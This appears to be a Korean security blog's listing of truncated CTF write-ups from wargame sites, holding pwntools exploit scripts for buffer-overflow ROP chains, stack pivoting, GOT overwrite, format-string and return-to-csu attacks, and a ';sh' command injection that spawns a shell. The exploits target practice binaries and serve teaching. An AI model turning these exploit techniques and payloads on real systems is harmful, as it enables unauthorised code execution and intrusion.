anonymous?

from pwn import * p = process("./rop-fa6168f4d8eba0eb") not_called = 0x8048a4 pay = 'A'*0x88 + 'B'*4 + p32(not_called) p.send(pay) p.interactive()

SYSTEM HACKING/CTF, etc 2020. 5. 31. 10:47

일단 sh를 쉘에 입력하면 쉘이 뜨는 것을 알고 sh 명령어를 사용할 수 있으면 되겠다고 생각했다. 근데 ls %s 로 명령어를 실행해서 어떻게 하면 ls한 후 sh를 실행하도록 할까 시도를 계속해보다가 ls ; sh 로 입력하면 ls 명령어를 실행한 후 sh 명령어를 실행하도록 할 수 있었다. 따라서 입력할 때 ;sh로 주면 ls ;sh로 명령어가 실행되서 쉘을 실행시킬 수 있다. #!/usr/bin/python from pwn import * p = process("./pwn5") p.sendafter("pass to ls:\n", ';sh') p.interactive() ; sh로 주면 h가 잘려서 ;sh로 붙여서 줘야 제대로 쉘이 따진다.

SYSTEM HACKING/CTF, etc 2020. 5. 31. 10:44

스택은 임시 데이터를 저장하는 공간이다. 메모리에서 계속 데이터를 가져오기보다, 스택에 저장해서 접근하는 방식이다. 빈번하게 사용하는 데이터를 레지스터에 넣는다. 함수 프롤로그와 에필로그에서 스택 포인터를 조정한 후, 스택 포인터를 사용해서 데이터를 push하고 pop한다. x86 Stack Frame Intel x86 Stack Frame은 아래로 커진다. (high address -> low address 방향으로) 즉, 메모리 상의 임의의 주소부터 더 낮은 주소 아래로 자란다. 따라서 x86에서 스택의 맨 위를 말한다면 스택이 메모리에서 차지하는 주소의 공간 중 가장 낮은 곳을 말한다. (가장 낮은 주소) x86에서는 ESP(Extended Stack Pointer) 레지스터가 스택과 함께 작동한다..

SYSTEM HACKING/Exploit Tech 2020. 5. 30. 16:22

int read_input() { int buf; // [rsp+0h] [rbp-10h] buf = 0; read(0, &buf, 8uLL); return atoi((const char *)&buf); } int menu() { puts("1. vuln"); puts("2. print"); puts("3. quit"); return printf("> "); } int useful_function() { void *v0; // ST08_8 v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "printf"); return printf("printf() addr: %p\n", v0); } int Init() { setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(..

SYSTEM HACKING/CTF, etc 2020. 5. 28. 15:00

from pwn import *context.log_level = 'debug'r = remote("svc.pwnable.xyz", 30016)p = process("./challenge")elf = ELF("./challange")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")system = elf.symbols['system']free = 0x601210r.sendafter("> ", '1')r.sendafter("Note len? ", "100")pay = 'A'*0x20 + p64(free)r.sendafter("note: ", pay)binsh_s = "/bin/sh"r.sendafter("> ", '2')r.sendafter("desc: ", p64(syste..

SYSTEM HACKING/pwnable.xyz 2020. 5. 27. 12:12

# 보호기법 확인 # Process Leave_ret 주소 : 0x8048504 Bss 섹션 크기가 8 바이트밖에 안 되므로 dynamic 섹션을 사용한다. Dynamic 섹션 시작주소는 0x8049efc pop_ret : 0x804836d(으로 사용함) pop_pop_pop_ret : 0x8048569 puts_system_offset : 0x24f00 puts_binsh_offset : 0xfbd6b # Exploit Code from pwn import * p = process("./migration") elf = ELF("./migration") dynamic = 0x8049efc buf = dynamic + 0x600 buf2 = dynamic + 0x800 p3ret = 0x8048569 p1..

SYSTEM HACKING/CTF, etc 2020. 5. 27. 11:57

# 보호기법 # process int main() { long addr; long value; initialize(); printf("stdout: %p\n", stdout); printf("addr: "); scanf("%ld", &addr); printf("value: "); scanf("%ld", &value); *(long *)addr = value; return 0; } libc leak을 할 수 있고, 특정 addr에 원하는 value를 쓸 수 있다. Partial RELRO이므로 위의 과정으로 GOT overwrite이 가능하다. exit로 종료되는 경우 rtld를 덮으면 프로그램의 흐름을 변조가 가능하다. _libc_start_main함수에서 exit를 자동으로 호출해서 프로그램 자체에서 ..

SYSTEM HACKING/Dreamhack 2020. 5. 17. 11:36

# Process bss 영역에 존재하는 크기가 0xc8인 전역변수에 read로 입력받는다. 그리고 printf(buf); 를 하는데 이때 FSB 취약점이 발생한다. 버퍼가 전역변수일 때 FSB 취약점이 발생하는 경우 Double Staged FSB 기법을 사용한다. 1. libc leak 스택 확인해보면 __libc_start_main+247 주소를 확인해볼 수 있다. offset을 계산해서 leak하고 libc base를 구한다. 2. 스택 영역 가리키는 주소의 값이 또 스택 영역 가리키는 부분 2개 찾기 - got와 got+2로 각각 나눠서 덮어줘야 하므로 2개 찾는다. - 메모리의 높은 주소 방향으로 스택 값들을 꺼내온다. 따라서 스택 포인터는 이 포인터 주소보다 더 높은 주소 값을 가리켜야 한다..

SYSTEM HACKING/CTF, etc 2020. 5. 4. 18:13

# Process 1. pow pow에서 v2와 v3가 0이면 안 되는 조건이 있다. sleep(v2*v3)가 있어서 v2*v3를 0으로 만들어야 한다. 이것을 우회하는 방법은 이 DWORD로 0x80000000라는 숫자를 보면 최상위 비트가 1이고 (음수이므로) 나머지 자릿수는 0이다. 따라서 이 0x80000000 수와 어떤 수든 곱하면 0으로 만들 수 있다. 8바이트로는 10진수로 위와 같은 수이다. v2와 v3의 형은 int형이다. int형은 4바이트이므로 v2*v3를 해도 int형, 즉 4바이트이다. 근데 buf는 unsigned int형으로 int형보다 크기가 훨씬 크다. 그럼 v2*v3를 했을 때 하위 4바이트까지만 잘린다. 따라서 이 취약점을 이용해서 하위 4바이트만을 곱했을 때 모두 0이..

SYSTEM HACKING/pwnable.xyz 2020. 4. 20. 16:25

# 보호기법 / file NX enabled : 쉘코드 실행 권한 X Partial RELRO : GOT Overwrite 가능 $ ldd pivot : 확인해봤을 때 libc base 주소 계속 바뀜 -> ASLR 걸려있음 $ file pivot : dynamically linked, no stripped # Process uselessFunction 함수를 어셈블리 코드로 확인해보면 역시 아래 usefulGadgets이 있다. - mov rax, [rax] ; ret : rax 레지스터 주소에 적힌 값을 rax 레지스터에 넣는다. 만약 rax 레지스터 값이 got면 got에 적힌 함수 주소 값이 rax 레지스터에 적힐 것이다. - pop rax ; ret : x64 아키텍쳐에서 rdi, rsi, rd..

SYSTEM HACKING/CTF, etc 2020. 4. 20. 16:25

# 보호기법 / file # Process SFP에 bss 영역의 주소를 넣으면 leave ret 시 bss로 이동한다. 그리고 다음으로 이동할 주소를 setup 이후 코드 주소로 준다. (다시 fgets로 입력받기 위해) 그럼 먼저 bss 영역에서 fgets() 함수로 입력받는다. 그 이유는 입력을 rbp+s로 하기 때문에 이전 SFP에 담긴 주소로 이동된 것이다. bss 영역 앞부분에는 stdout같은 것이 담겨있으므로 bss+0x200으로 이동하도록 했다. 두 번째 fgets에서는 쉘코드를 넣어주는데 한 번에 입력이 안 된다. 따라서 디버깅으로 확인하면서 fgets 2번에 나눠서 담아줘야 한다. 그리고 다시 setup 다음으로 돌아가는 주소도 넣어줘야 한다. 쉘코드를 담고 확인해보면 b0 0b cd..

SYSTEM HACKING/HackCTF 2020. 4. 20. 16:24

# 보호기법 # Process gift 함수를 보면 mov rcx, [rdi] ; ret 가젯이 있다. 이 문제에는 BOF도 일어나지만 libc leak을 할 함수가 fwrite밖에 없는데, 이 함수는 인자 4개가 필요하다. 하지만 가젯을 찾아보면 pop rdi ; ret 말고는 충분하지 않다. 따라서 fwrite 함수로 libc leak을 위해 RTC (Return to csu)를 사용한다. 1. fwrite 함수의 인자 구성을 알아보자. size_t fwrite(const void *ptr, size_t size, size_t count, FILE *file) fwrite(&got, 1, 6, 0x601050) 첫 번째 인자 : 읽을 메모리 주소. ptr이 가리킬 것이므로 got 주소로 준다. fge..

SYSTEM HACKING/HackCTF 2020. 4. 20. 16:23